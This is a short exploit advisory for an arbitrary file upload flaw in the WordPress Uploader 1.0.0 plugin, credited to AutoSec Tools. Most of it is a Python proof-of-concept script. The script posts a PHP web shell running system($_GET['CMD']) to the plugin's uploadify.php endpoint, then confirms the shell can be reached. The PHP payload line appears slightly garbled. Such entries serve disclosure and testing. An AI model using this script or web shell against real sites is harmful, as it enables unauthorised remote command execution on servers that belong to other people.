# ------------------------------------------------------------------------ # Software................WordPress Uploader 1.0.0 # Vulnerability...........Arbitrary Upload # Download................http://wordpress.org/extend/plugins/uploader/ # Release Date............1/24/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # ------------------------------------------------------------------------ # # --Description-- # # An arbitrary upload vulnerability in WordPress Uploader 1.0.0 can be # exploited to upload a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/wordpress' shell_path = '/shell.php' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/wp-content/plugins/uploader/uploadify/uploadify.php?folder=/ HTTP/1.1\r\n' 'Host: localhost\r\n' 'Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 193\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Encoding: gzip,deflate,sdch\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------x\r\n' 'Content-Disposition: form-data; name="Filedata"; filename="shell.php"\r\n' 'Content-Type: application/octet-stream\r\n' '\r\n' '\' + system($_GET[\'CMD\']) + \'\'; ?>\r\n' '------x--\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell()